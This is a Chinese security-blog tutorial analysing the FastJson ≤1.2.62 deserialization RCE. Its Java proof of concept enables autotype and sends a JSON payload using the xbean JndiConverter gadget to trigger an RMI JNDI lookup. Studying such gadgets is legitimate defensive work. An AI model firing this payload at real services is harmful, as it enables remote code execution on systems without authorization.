freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

FastJson 反序列化入门
柠檬菠萝 2021-05-17 12:04:34 209872

前言

FastJson反序列化作为流行的攻击漏洞之一,受到各方的关注。FastJson的利用载荷再结合不同的模块后展现出更加引人入胜的魅力。虽然漏洞比较老,但是Fastjson<=1.2.62 RCE作为入门的教程进行分享还是足够。

模块的作用

在了解FastJson RCE漏洞分析之前,要先理解FastJson前台什么地方能够被利用。FastJson顾名思义在Json数据传递之中存在的模块。所以在各种HTTP POST数据包之中,如果发现JSON参数传递不妨尝试下。JSON格式的数据传递,在移动端逆向抓包之中较为常见。综上在如果在WEB层没有找到合适的数据包,也可去客户端层找寻。

Fastjson<=1.2.62 RCE 分析

咱们先来了解为什么要autotype开启。因为在1.2.25之后的版本,以及所有的.sec01后缀版本中,autotype功能是受限的,和之前的版本不同,这项限制会影响到@type。
通过POC能够得知首先开启autotype开启,然后使用org.apache.xbean.propertyeditor.JndiConverter进行Jndi的回连。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class poc {

    public static void main(String args[]) {
        // 开启 autotype
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        //org.apache.xbean->propertyeditor->JndiConverter()
        String text1 = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://127.0.0.1:1099/ningmengboluo\"}";
        Object obj = JSON.parseObject(text1);
    }
}

紧接着咱们看com.alibaba.fastjson.JSON模块,在代码之中能够看到使用案例。
image

其次查看org.apache.xbean.propertyeditor.JndiConverter,能够看到存在Jndi的典型漏洞,但是因为不满足漏洞利用条件,也就是需要字符串。
image

最后咱们需要向上溯源,溯源就是找他的父类AbstractConverter,父类之中的setAsText()刚好满足利用条件。所以载荷之中才会使用AsText作为属性值。
image

总结

反序列化的知识根据反序列化类的不同而变得丰富多彩。大多数时候更好的理解代码,寻找反序列化点,成为挖掘漏洞的必修课。

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 柠檬菠萝 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
柠檬草莓
柠檬菠萝 LV.4
网名:柠檬菠萝;《Web渗透攻防实战》主编之一。
  • 16 文章数
  • 42 关注者
个人报CNVD和CNNVD披露漏洞教程
2021-12-24
入门JAVA反序列化必读
2021-03-26
Python ctypes 溢出漏洞分析(CVE-2021-3177 )
2021-02-08